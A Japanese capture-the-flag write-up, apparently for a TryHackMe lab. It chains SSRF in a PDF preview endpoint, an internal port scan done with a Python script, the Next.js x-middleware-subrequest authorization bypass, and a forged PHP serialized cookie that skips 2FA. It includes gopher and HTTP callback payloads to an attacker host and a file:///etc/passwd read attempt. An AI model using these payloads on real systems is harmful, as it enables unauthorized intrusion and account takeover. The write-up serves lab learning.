概要
今回のターゲットは、PDF プレビュー機能を持つ一見シンプルな Web アプリケーション。
しかし裏側では、SSRF → 内部サービス探索 → Next.js Middleware 認可バイパス → 管理機能侵入という、非常に“現実的”な攻撃チェーンが成立していました。
このチャレンジの本質は、
「急いでデプロイされた機能は、だいたい危ない」
という一点に尽きます。
目標
-
What is the first flag?
-
What is the second flag?
流れ
1. 初期調査:PDF プレビュー機能という入口
<div class="container">
<div class="row">
<!-- PDF List -->
<div class="col-md-4">
<h4 class="mb-3">Available Documents</h4>
<ul class="list-group pdf-list">
<li class='list-group-item'><a onclick="openPdf('http://cvssm1/pdf/dummy.pdf')">Dummy</a></li><li class='list-group-item'><a onclick="openPdf('http://cvssm1/pdf/lorem.pdf')">Lorem</a></li> </ul>
</div>
<!-- Preview Panel -->
<div class="col-md-8">
<h4 class="mb-3">Document Preview</h4>
<iframe id="pdfFrame" width="100%" height="600px" style="display:none;"></iframe>
</div>
</div>
</div>
...
<!-- JS -->
<script>
function openPdf(url) {
const iframe = document.getElementById('pdfFrame');
iframe.src = 'preview.php?url=' + encodeURIComponent(url);
iframe.style.display = 'block';
}
</script>
フロントエンドは非常に単純で、PDF を iframe で表示するだけ。
iframe.src = 'preview.php?url=' + encodeURIComponent(url);
つまり、ユーザー入力がそのまま preview.php?url= に渡されます。
/preview.php?url=http://cvssm1/pdf/dummy.pdf
この時点で、経験者の脳内にはもう一つの単語が浮かびます。
SSRF(Server-Side Request Forgery)
サーバの情報
apache/2.4.58 (Ubuntu)
少し、調べて、利用できる弱点がない。
2. ディレクトリ列挙と表層構造の把握
dirsearch による探索結果:
dirsearch -u http://10.67.161.85 -t 50
[08:48:02] 301 - 317B - /javascript -> http://10.67.161.85/javascript/
[08:48:06] 301 - 317B - /management -> http://10.67.161.85/management/
[08:48:06] 403 - 14B - /management/
[08:48:13] 301 - 310B - /pdf -> http://10.67.161.85/pdf/
- /management が存在するがアクセス不可
- /preview.php が唯一の“サーバー側通信ポイント”
ここで「SSRF 一本勝負」が確定します。
3. SSRF の成立確認(gopher / 外部 HTTP)
gopher プロトコル確認
nc -lvnp 5555
request
GET /preview.php?url=gopher://ATTACKER_IP:5555/_test HTTP/1.1
response
HTTP/1.1 200 OK
Date: Wed, 21 Jan 2026 07:28:59 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8
結果:
サーバーから自分の nc に接続が来る
✅ SSRF 確定
外部 HTTP サーバー確認
python3 -m http.server 8000
GET /preview.php?url=http://ATTACKER_IP:8000/test.txt
→ ファイル内容がそのまま返却
✅ 任意 URL フェッチ可能
4. file:// が塞がれている=防御が雑
GET /preview.php?url=file:///etc/passwd
response
URL blocked due to keyword: file:/
キーワードベースのブラックリスト
= だいたい突破されるやつ。
5. SSRF を使った内部ポートスキャン
自作のpython
import asyncio
import aiohttp
TARGET_IP = "X.X.X.X"
def build_headers(host: str) -> dict:
return {
"Host": host,
"Accept-Language": "en-US,en;q=0.9",
...
"Referer": f"http://{host}/",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
}
def build_params(port: int):
# Construct SSRF target URL pointing to localhost with the given port
return {"url": f"http://127.0.0.1:{port}"}
async def fetch_one(
session: aiohttp.ClientSession,
url: str,
headers: dict,
port: int,
sem: asyncio.Semaphore
):
# Limit concurrency using a semaphore to avoid overwhelming the target
async with sem:
try:
async with session.get(
url,
params=build_params(port),
headers=headers,
timeout=aiohttp.ClientTimeout(total=10),
allow_redirects=False,
) as resp:
body = await resp.read() # Response body as bytes
return port, resp.status, len(body)
except (aiohttp.ClientError, asyncio.TimeoutError):
# Network error or timeout: treat as unreachable / filtered
return port, None, 0
async def scan_ports(
url: str,
headers: dict,
start: int = 1,
end: int = 65535,
concurrency: int = 200
):
# Semaphore to control maximum concurrent in-flight requests
sem = asyncio.Semaphore(concurrency)
connector = aiohttp.TCPConnector(
limit=concurrency, # Connection pool upper bound
ttl_dns_cache=300,
ssl=False,
)
found = []
async with aiohttp.ClientSession(connector=connector) as session:
# Do NOT gather 65k tasks at once; use as_completed for streaming results
tasks = [
asyncio.create_task(fetch_one(session, url, headers, p, sem))
for p in range(start, end + 1)
]
done = 0
for coro in asyncio.as_completed(tasks):
port, status, size = await coro
done += 1
# Detection rule can be tightened later (e.g. baseline diffing)
if status == 200 and size > 0:
found.append(port)
print(f"[+] open? port={port} status=200 size={size}")
if done % 100 == 0:
print(f"progress: {done}/{end - start + 1}")
return found
if __name__ == "__main__":
url = f"http://{TARGET_IP}/preview.php"
headers = build_headers(TARGET_IP)
ports = asyncio.run(scan_ports(url, headers, concurrency=200))
print(f"\nDONE. Found {len(ports)} ports:")
print(ports)
結果:
DONE. Found 2 ports:
[80, 10000]
つまり内部に port 10000 の未知サービスが存在。
6. 内部 API(port 10000)の正体
GET /preview.php?url=http://127.0.0.1:10000/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charSet="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<link rel="stylesheet" href="/_next/static/css/178989e77b112f7f.css" crossorigin="" data-precedence="next"/>
<link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-8fc0c21e0210cbd2.js" crossorigin=""/>
<script src="/_next/static/chunks/fd9d1056-ffbd49fae2ee76ea.js" async="" crossorigin=""></script><script src="/_next/static/chunks/472-22e55b21ed910619.js" async="" crossorigin=""></script><script src="/_next/static/chunks/main-app-321a014647b5278e.js" async="" crossorigin=""></script>
<title>TryBookMe API</title>
<meta name="description" content="API Service for TryBookMe"/>
<script src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js" crossorigin="" noModule=""></script>
</head>
<body>
<main style="max-width:1000px;margin:0 auto;padding:20px">
<header style="margin-bottom:20px">
<h1 style="font-size:24px;font-weight:bold">TryBookMe</h1>
<nav style="margin-top:10px">
<ul style="display:flex;gap:16px">
<li><a href="/" style="color:blue;text-decoration:underline">Home</a></li>
<li><a href="/customapi" style="color:blue;text-decoration:underline">API</a></li>
</ul>
</nav>
</header>
<div style="padding:2rem;max-width:1200px;margin:0 auto">
<div style="background:#fff8f8;border:1px solid #ffcdd2;padding:1.5rem;border-radius:8px;margin-top:2rem">
<h2 style="font-size:1.8rem;margin-bottom:1rem;color:#d32f2f">Warning</h2>
<p style="font-size:1.1rem;line-height:1.6">Unauthorised access to this system is strictly prohibited.</p>
</div>
</div>
</main>
<script src="/_next/static/chunks/webpack-8fc0c21e0210cbd2.js" crossorigin="" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0]);self.__next_f.push([2,null])</script><script>self.__next_f.push([1,"1:HL[\"/_next/static/css/178989e77b112f7f.css\",\"style\",{\"crossOrigin\":\"\"}]\n0:\"$L2\"\n"])</script><script>self.__next_f.push([1,"3:I[3728,[],\"\"]\n5:I[9928,[],\"\"]\n6:I[6954,[],\"\"]\n7:I[7264,[],\"\"]\n"])</script><script>self.__next_f.push([1,"2:[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/178989e77b112f7f.css\",\"precedence\":\"next\",\"crossOrigin\":\"\"}]],[\"$\",\"$L3\",null,{\"buildId\":\"k9Pjo5x24QkUE90SdyHNw\",\"assetPrefix\":\"\",\"initialCanonicalUrl\":\"/\",\"initialTree\":[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],\"initialHead\":[false,\"$L4\"],\"globalErrorComponent\":\"$5\",\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"main\",null,{\"style\":{\"maxWidth\":\"1000px\",\"margin\":\"0 auto\",\"padding\":\"20px\"},\"children\":[[\"$\",\"header\",null,{\"style\":{\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"h1\",null,{\"style\":{\"fontSize\":\"24px\",\"fontWeight\":\"bold\"},\"children\":\"TryBookMe\"}],[\"$\",\"nav\",null,{\"style\":{\"marginTop\":\"10px\"},\"children\":[\"$\",\"ul\",null,{\"style\":{\"display\":\"flex\",\"gap\":\"16px\"},\"children\":[[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"Home\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/customapi\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"API\"}]}]]}]}]]}],[\"$\",\"$L6\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\"],\"loading\":\"$undefined\",\"loadingStyles\":\"$undefined\",\"loadingScripts\":\"$undefined\",\"hasLoading\":false,\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L7\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":\"404\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],\"notFoundStyles\":[],\"childProp\":{\"current\":[\"$L8\",[\"$\",\"div\",null,{\"style\":{\"padding\":\"2rem\",\"maxWidth\":\"1200px\",\"margin\":\"0 auto\"},\"children\":[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff8f8\",\"border\":\"1px solid #ffcdd2\",\"padding\":\"1.5rem\",\"borderRadius\":\"8px\",\"marginTop\":\"2rem\"},\"children\":[[\"$\",\"h2\",null,{\"style\":{\"fontSize\":\"1.8rem\",\"marginBottom\":\"1rem\",\"color\":\"#d32f2f\"},\"children\":\"Warning\"}],[\"$\",\"p\",null,{\"style\":{\"fontSize\":\"1.1rem\",\"lineHeight\":1.6},\"children\":\"Unauthorised access to this system is strictly prohibited.\"}]]}]}],null],\"segment\":\"__PAGE__\"},\"styles\":null}]]}]}]}],null]}]]\n"])</script><script>self.__next_f.push([1,"4:[[\"$\",\"meta\",\"0\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"1\",{\"charSet\":\"utf-8\"}],[\"$\",\"title\",\"2\",{\"children\":\"TryBookMe API\"}],[\"$\",\"meta\",\"3\",{\"name\":\"description\",\"content\":\"API Service for TryBookMe\"}]]\n8:null\n"])</script><script>self.__next_f.push([1,""])</script>
</body>
</html>
返ってきたのは:
_next/static/self.__next_fmain-app-xxxx.js
→ Next.js App Router(13.4+)
タイトル:
TryBookMe API
Unauthorised access to this system is strictly prohibited
ここで重要なのは 「Next.js Middleware が使われている」 という事実。
7. CVE-2025-29927:Next.js Middleware Authorization Bypass
該当脆弱性:
CVE-2025-29927 – x-middleware-subrequest ヘッダによる認可バイパス
攻撃の本質:
x-middleware-subrequest: true
を付けることで、Middleware がスキップされる
= 本来アクセス不可の API / 管理画面が開く
Extract | TryHackMe | Walkthoughの解決策に参照
8. 内部 API からの致命的なメッセージ
認可バイパス後、API 画面に表示された文言:
This API is currently under maintenance.
Please use the library portal to add new books using
librarian:L1br4r1AN!!
資格情報の平文漏洩
9. /management 侵入 → 2FA バイパス
librarian / L1br4r1AN!! でログイン成功
2FA が要求される
ここで登場するのが PHP オブジェクト直列化 Cookie
auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}
これをセットすると:
✅ 2FA 完全バイパス
攻撃チェーンまとめ(超重要)
PDF Preview
↓
SSRF
↓
Internal Port Scan
↓
Next.js App Router Detection
↓
CVE-2025-29927
↓
Credential Disclosure
↓
Management Login
↓
Insecure Deserialization
↓
Flags
他の試して
nmap
sudo nmap -p- TARGET
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
ffuf
ffuf -u 'http://10.66.168.121/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php
:: Progress: [100/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Er [Status: 200, Size: 1735, Words: 304, Lines: 65]
:: Progress: [106/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Erindex.php [Status: 200, Size: 1735, Words: 304, Lines: 65]
:: Progress: [108/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Er.php [Status: 403, Size: 278, Words: 20, Lines: 10]
:: Progress: [117/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Erpdf [Status: 301, Size: 312, Words: 20, Lines: 10]
:: Progress: [260/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Ermanagement [Status: 301, Size: 319, Words: 20, Lines: 10]
:: Progress: [862/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Er:: Progress: [1242/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Ejavascript [Status: 301, Size: 319, Words: 20, Lines: 10]
:: Progress: [2098/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: E:: Progress: [2725/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Epreview.php [Status: 200, Size: 19, Words: 3, Lines: 1]
:: Progress: [2836/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00]
ffuf -u 'http://10.67.161.85/preview.php?url=http://127.0.0.1:FUZZ/' -w <(seq 1 65535) -mc all -t 100 -fs 0
10000 [Status: 200, Size: 6131, Words: 104, Lines: 1]
80 [Status: 200, Size: 1735, Words: 304, Lines: 65]
:: Progress: [65535/65535] :: Job [1/1] :: 29622 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
GET /preview.php?url=http://TARGET_ADDRESS/javascript/
HTTP/1.1 200 OK
Date: Tue, 20 Jan 2026 08:52:07 GMT
Server: Apache/2.4.58 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 277
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.58 (Ubuntu) Server at 10.67.161.85 Port 80</address>
</body></html>
ローカルファイル
自分のフィイル
echo 'echo test' > test.txt
python3 -m http.server 8000
GET /preview.php?url=http://10.67.66.80:8000/test.txt HTTP/1.1
HTTP/1.1 200 OK
Date: Tue, 20 Jan 2026 09:22:47 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 10
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8
echo test






